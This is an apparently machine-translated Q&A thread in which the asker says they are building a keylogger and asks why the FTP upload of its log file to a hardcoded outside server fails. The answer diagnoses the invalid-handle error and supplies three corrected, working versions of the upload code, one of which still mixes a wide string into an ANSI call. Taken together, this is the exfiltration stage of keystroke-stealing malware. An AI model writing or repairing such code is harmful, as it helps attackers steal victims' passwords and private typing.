在FTP上传中，getlasterror（）返回6

Question

为项目开发键盘记录器，被困在试图通过Ftp将日志上传到服务器的地方，getlasterror return 6没有得到解决方案，我发现一个解决方案存在提示，替换为0或NULL但仍然相同。

    #pragma comment(lib, "Wininet.lib")
#include <Windows.h>
#include <iostream>
#include <WinInet.h>
#include <tchar.h>
using namespace std;

int  upload()
{
    string file = "C:\\Users\\crypterdev\\Documents\\Visual Studio 2015\\Projects\\Keyspy\\Release\\log.txt";
    string site = "142.93.169.69";
    string user = "user";
    string pass = "pass";

    if (!ifstream(file))
    {
        cout << "no file\n";
        return 0;
    }

    HINTERNET hint = InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL,INTERNET_FLAG_ASYNC);
    HINTERNET hftp = InternetConnect(hint, (LPCWSTR)site.c_str(), INTERNET_DEFAULT_FTP_PORT,
        (LPCWSTR) user.c_str(), (LPCWSTR)pass.c_str(), INTERNET_SERVICE_FTP, 0, 0);


        if (!FtpPutFile(hftp, (LPCWSTR)file.c_str(), (LPCWSTR)"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
        {
            //cout << "FAIL!" << endl;
            cout << GetLastError() << endl;
        }
        else
        {
            cout << "file sended !";
        }

    InternetCloseHandle(hftp);
    InternetCloseHandle(hint);
    return 0;
} 

Answer 1

错误6为ERROR_INVALID_HANDLE。在调用InternetOpen()之前，您没有检查InternetConnect()和FtpPutFile()的返回值是否失败。

实际上，您实际上是将无效的句柄传递给FtpPutFile()，因为它们实际上是失败的，因为您的所有LPCWSTR类型转换都完全是错误的。您不能只是将char*指针转换为wchar_t*并期望一切正常。删除类型转换并观看编译器，然后向您抱怨。这是有原因的。

您需要使用MultiByteToWideChar()（或等价物）将char数据实际

转换到wchar_t，例如：

#include <Windows.h>
#include <WinInet.h>

#include <iostream>
#include <string>
#include <vector>
using namespace std;

#pragma comment(lib, "Wininet.lib")

wstring to_wstring(const string &s)
{
    int len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), s.size(), NULL, 0);
    if (len > 0)
    {
        vector<WCHAR> vec(len);
        MultiByteToWideChar(CP_ACP, 0, s.c_str(), s.size(), &vec[0], len);
        return wstring(&vec[0], len);
    }
    return wstring();
}

bool upload()
{
    string file = "C:\\Users\\crypterdev\\Documents\\Visual Studio 2015\\Projects\\Keyspy\\Release\\log.txt";
    string site = "142.93.169.69";
    string user = "user";
    string pass = "pass";

    if (!ifstream(file))
    {
        cout << "no file" << endl;
        return false;
    }

    HINTERNET hint = InternetOpenW(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, INTERNET_FLAG_ASYNC);
    if (!hint)
    {
        cout << "InternetOpen failed! Error " << GetLastError() << endl;
        return false;
    }

    HINTERNET hftp = InternetConnectW(hint, to_wstring(site).c_str(), INTERNET_DEFAULT_FTP_PORT, to_wstring(user).c_str(), to_wstring(pass).c_str(), INTERNET_SERVICE_FTP, 0, 0);
    if (!hftp)
    {
        cout << "InternetConnect failed! Error " << GetLastError() << endl;
        InternetCloseHandle(hint);
        return false;
    }

    if (!FtpPutFileW(hftp, to_wstring(file).c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
    {
        cout << "FtpPutFile failed! Error " << GetLastError() << endl;
        InternetCloseHandle(hftp);
        InternetCloseHandle(hint);
        return false;
    }

    cout << "file sent!" << endl;

    InternetCloseHandle(hftp);
    InternetCloseHandle(hint);

    return true;
} 

或者，只需使用std::wstring开始而不是完全不使用std::string：
#include <Windows.h>
#include <WinInet.h>

#include <iostream>
#include <string>
using namespace std;

#pragma comment(lib, "Wininet.lib")

bool upload()
{
    wstring file = L"C:\\Users\\crypterdev\\Documents\\Visual Studio 2015\\Projects\\Keyspy\\Release\\log.txt";
    wstring site = L"142.93.169.69";
    wstring user = L"user";
    wstring pass = L"pass";

    if (!wifstream(file))
    {
        cout << "no file" << endl;
        return 0;
    }

    HINTERNET hint = InternetOpenW(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL,INTERNET_FLAG_ASYNC);
    if (!hint)
    {
        cout << "InternetOpen failed! Error " << GetLastError() << endl;
        return false;
    }

    HINTERNET hftp = InternetConnectW(hint, site.c_str(), INTERNET_DEFAULT_FTP_PORT, user.c_str(), pass.c_str(), INTERNET_SERVICE_FTP, 0, 0);
    if (!hftp)
    {
        cout << "InternetOpen failed! Error " << GetLastError() << endl;
        InternetCloseHandle(hint);
        return false;
    }

    if (!FtpPutFileW(hftp, file.c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
    {
        cout << "FtpPutFile failed! Error " << GetLastError() << endl;
        InternetCloseHandle(hftp);
        InternetCloseHandle(hint);
        return false;
    }

    cout << "file sent!" << endl;

    InternetCloseHandle(hftp);
    InternetCloseHandle(hint);

    return true;
} 

否则，如果您想继续使用std::string，则只需使用WinInet函数的ANSI版本：
#include <Windows.h>
#include <WinInet.h>

#include <iostream>
#include <string>
using namespace std;

#pragma comment(lib, "Wininet.lib")

bool upload()
{
    string file = "C:\\Users\\crypterdev\\Documents\\Visual Studio 2015\\Projects\\Keyspy\\Release\\log.txt";
    string site = "142.93.169.69";
    string user = "user";
    string pass = "pass";

    if (!ifstream(file))
    {
        cout << "no file" << endl;
        return 0;
    }

    HINTERNET hint = InternetOpenA(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, INTERNET_FLAG_ASYNC);
    if (!hint)
    {
        cout << "InternetOpen failed! Error " << GetLastError() << endl;
        return false;
    }

    HINTERNET hftp = InternetConnectA(hint, site.c_str(), INTERNET_DEFAULT_FTP_PORT, user.c_str(), pass.c_str(), INTERNET_SERVICE_FTP, 0, 0);
    if (!hftp)
    {
        cout << "InternetOpen failed! Error " << GetLastError() << endl;
        InternetCloseHandle(hint);
        return false;
    }

    if (!FtpPutFileA(hftp, file.c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
    {
        cout << "FtpPutFile failed! Error " << GetLastError() << endl;
        InternetCloseHandle(hftp);
        InternetCloseHandle(hint);
        return false;
    }

    cout << "file sent!" << endl;

    InternetCloseHandle(hftp);
    InternetCloseHandle(hint);

    return true;
}